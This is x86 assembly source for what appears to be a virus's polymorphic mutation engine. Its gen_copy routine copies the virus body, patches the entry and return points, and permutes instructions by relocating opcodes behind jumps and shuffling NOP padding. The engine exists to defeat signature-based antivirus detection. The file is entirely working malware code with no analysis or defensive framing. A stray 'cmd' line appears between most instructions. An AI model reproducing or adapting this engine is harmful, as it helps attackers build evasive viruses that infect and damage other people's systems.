; generate new polymorphic copy. all permutation technics are here

; resulting buffer      -- buf

cmd
gen_copy:
cmd
                        pusha
cmd
                        cld
cmd
                        seh_init
cmd
                        cmp     is_copy, 1
cmd
                        je      __alredy
cmd
                        mov     is_copy, 1
cmd
                        lea     esi, start
cmd
                        lea     edi, buf
cmd
                        mov     ecx, CODESIZE
cmd
                        rep     movsb
cmd
__alredy:
cmd
                        lea     esi, buf-start + vir_start_opcode
cmd
__x1:                   call    process_cmd
cmd
                        cmp     byte ptr [esi], 0BDh ; mov ebp, xxx
cmd
                        jne     __x1
cmd
                        mov     eax, patch_start
cmd
                        mov     [esi+1], eax
cmd
                        lea     esi, buf-start + old_eip_opcode
cmd
__x2:                   call    process_cmd
cmd
                        cmp     byte ptr [esi], 0B8h ; mov eax, xxx
cmd
                        jne     __x2
cmd
                        mov     eax, patch_eip
cmd
                        mov     [esi+1], eax
cmd
                        lea     esi, buf
cmd
__cycle:
cmd
                        call    process_cmd
cmd
                        add     esi, PLYSIZE
cmd
                        cmp     esi, offset buf + realsize
cmd
                        jb      __cycle
cmd
                        clc
cmd
                        seh_done
cmd
                        popa
cmd
                        ret
cmd
process_cmd:            pusha
cmd
                        mov     eax, [esi]
cmd
                        cmp     al, 0E8h
cmd
                        je      __exit
cmd
                        and     ah, 0F0h
cmd
                        cmp     ax, 800Fh
cmd
                        je      __exit
cmd
                        and     al, 0F0h
cmd
                        cmp     al, 70h
cmd
                        je      __exit
cmd
                        rnd     3
cmd
                        jz      __swapopcode
cmd
                        dec     eax
cmd
                        jz      __flyopcode
cmd
__exit:
cmd
                        popa
cmd
                        ret
cmd
__swapopcode:           cmp     [esi].byte ptr 0, 0E9h
cmd
                        je      __xbuf2code
cmd
                        jne     __code2xbuf
cmd
__code2xbuf:
cmd
                        call    __findxbufplace
cmd
                        jc      __exit
cmd
                        pusha
cmd
                        mov     ecx, PLYSIZE
cmd
                        rep     movsb
cmd
                        mov     al, 0E9h
cmd
                        stosb
cmd
                        lea     eax, [edi+4]
cmd
                        sub     esi, eax
cmd
                        mov     [edi], esi
cmd
                        popa
cmd
                        mov     byte ptr [esi], 0E9h
cmd
                        sub     edi, esi
cmd
                        sub     edi, 5
cmd
                        mov     [esi+1], edi
cmd
                        lea     edi, [esi+5]
cmd
                        mov     ecx, PLYSIZE-5
cmd
                        xor     eax, eax
cmd
                        rep     stosb
cmd
                        stc
cmd
                        jc      __exit
cmd
__xbuf2code:            lea     ebx, [esi+5]
cmd
                        add     ebx, [esi+1]
cmd
                        mov     edi, esi
cmd
                        mov     esi, ebx
cmd
                        mov     ecx, PLYSIZE
cmd
                        rep     movsb
cmd
                        mov     edi, ebx
cmd
                        mov     ecx, PLYSIZE+5
cmd
                        xor     eax, eax
cmd
                        rep     stosb
cmd
                        clc
cmd
                        jnc     __exit
cmd
__findxbufplace:        pusha
cmd
                        mov     edx, 1000       ; try # times before error
cmd
__findcycle:
cmd
                        dec     edx
cmd
                        jz      __cantfind
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                        rnd     xbuf_size
cmd
                        lea     edi, [buf + (xbuf-start) + eax - 32]
cmd
                        mov     ecx, 32+PLYSIZE+32
cmd
                        xor     eax, eax
cmd
                        repz    scasb
cmd
                        jnz     __findcycle
cmd
                        sub     edi, PLYSIZE+32
cmd
                        mov     [esp], edi      ; popa.edi
cmd
                        clc
cmd
                        popa
cmd
                        ret
cmd
__cantfind:             stc
cmd
                        popa
cmd
                        ret
cmd
__flyopcode:
cmd
                        cmp     byte ptr [esi], 0E9h
cmd
                        je      __exit
cmd
                        cmp     byte ptr [esi], 90h
cmd
                        je      __flyup
cmd
                        jne     __flydown
cmd
__flyup:
cmd
                        mov     edi, esi
cmd
                        inc     esi
cmd
                        mov     ecx, PLYSIZE-1
cmd
                        rep     movsb
cmd
                        mov     al, 90h
cmd
                        stosb
cmd
                        or      esp, esp
cmd
                        jnz     __exit
cmd
__flydown:
cmd
                        pusha
cmd
                        lea     edi, [esi+PLYSIZE-1]
cmd
                        lea     esi, [edi-1]
cmd
                        mov     ecx, PLYSIZE-1
cmd
                        std
cmd
                        rep     movsb
cmd
                        cld
cmd
                        mov     al, 90h
cmd
                        stosb
cmd
                        popa
cmd
                        mov     eax, [esi+PLYSIZE-4]
cmd
                        neg     eax
cmd
                        cmp     eax, -90909090h
cmd
                        je      __flydown
cmd
                        jne     __exit
cmd